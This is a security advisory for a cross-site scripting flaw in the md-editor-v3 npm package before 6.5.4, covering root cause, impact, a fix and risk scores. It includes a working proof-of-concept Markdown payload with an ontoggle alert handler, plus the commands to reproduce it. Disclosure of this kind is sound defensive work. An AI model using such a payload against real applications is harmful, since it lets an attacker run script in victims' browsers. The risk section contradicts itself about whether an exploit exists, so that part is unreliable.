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GHSA-3rm2-h79c-8qw6

MediumCVSS 6.1 / 10
Published Sep 18, 2026·Last modified Sep 18, 2026
Affected Components(1)
npm logomd-editor-v3
< 6.5.4
Description

Summary

MdPreview interpolates a fenced-code language into HTML attributes without escaping it. A crafted info string therefore executes JavaScript even when the shipped XSSPlugin is enabled.

Details

useMarkdownIt() (packages/MdEditor/layouts/Content/composition/useMarkdownIt.ts:206) registers a highlight callback whose final return inserts language into both class="language-${language}" and an unquoted language=${language} attribute without escaping. Both highlighting paths reach this return. XSSPlugin() filters only existing html_block and html_inline tokens before rendering, so it cannot inspect this renderer-generated HTML.

PoC

The Vue application enables the shipped XSSPlugin and renders attacker-controlled Markdown. noHighlight: true only makes reproduction deterministic; the default highlighting path reaches the same unsafe return. Use this as src/main.js:

import { createApp, h } from 'vue';
import { MdPreview, XSSPlugin, config } from 'md-editor-v3';

config({ markdownItPlugins: p => [...p, { type: 'xss', plugin: XSSPlugin, options: {} }] });
const markdown = '```x"><details/open/ontoggle=alert(document.domain)>\nSAFE\n```';
createApp({ render: () => h(MdPreview,
  { editorId: 'poc', modelValue: markdown, noHighlight: true })
}).mount('#app');

Create and run the app, replacing src/main.js when indicated:

npm create vite@latest poc -- --template vue
cd poc
npm install
npm install md-editor-v3@6.5.3
# Replace src/main.js with the code above.
npm run dev

Opening the displayed URL automatically shows the application hostname in an alert.

Impact

An attacker who can supply Markdown can execute JavaScript in the application origin when a victim renders it. If the host stores that Markdown, this becomes stored XSS.

Suggested fix

Escape language with md.utils.escapeHtml before interpolation and quote the language attribute. Add this payload and the raw control as regression tests with XSSPlugin enabled.

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Risk Scores
Base Score
6.1

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a low impact on the confidentiality of the information. There is a low impact on the integrity of the data.

Threat Intelligence
5.6

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.33%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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